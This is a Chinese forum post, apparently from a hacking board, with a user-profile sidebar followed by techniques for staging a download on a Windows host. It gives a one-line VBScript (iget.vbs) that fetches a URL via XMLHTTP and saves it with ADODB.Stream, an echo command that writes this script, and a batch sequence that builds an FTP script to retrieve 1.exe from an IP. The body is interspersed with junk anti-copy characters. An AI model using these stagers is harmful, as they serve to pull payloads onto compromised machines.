- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: + ~+ D: g7 K5 `5 x- f' J
1.iget.vbs一次写入 * a9 x- s/ n+ S9 \- }
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 ; i2 l; M' V: f
8 S" u" p& \* w% r" K3 cSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 + R3 T1 h9 X; ?" m
7 ~1 ~ j3 o5 r0 k) n) Y这样我们可以一次echo成功,echo版本:
' S: J) E1 @: b( _9 }+ C! z
* w/ [6 }% {: | J, p& v0 K( @) [- Iecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
0 T- Y' ]$ ~# Q7 A0 Q& _8 k9 y9 T9 F- m, ]
; }5 e7 n7 ~" ?2 e2.bat调用ftp脚本的写法(by envymask)
n( B& T, _" o# H8 k% s( _0 o9 }) {9 v' F: h6 }
echo ftp>1.vbs ; _8 Q* V2 I# V8 X& l% O3 f: J/ `! [
echo open ip>2.vbs % Z$ b1 s1 }5 w' W: v# t: S! E5 F
echo u>3.vbs $ u# z i7 |" |& n7 U$ O9 u5 G
echo s>4.vbs ' ~; j1 C! l; S0 X0 r3 P- _
echo binary>5.vbs 8 p8 }; H4 @& P, b6 o
echo get 1.exe>6.vbs 6 s* j) V! o, d* g
echo bay>7.vbs 9 V3 u" y6 \0 I/ P) J( ?
" f ?3 a# d$ c7 {8 L% {% A! Zcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
8 Z3 C; Y7 |( k</P> |
zan
|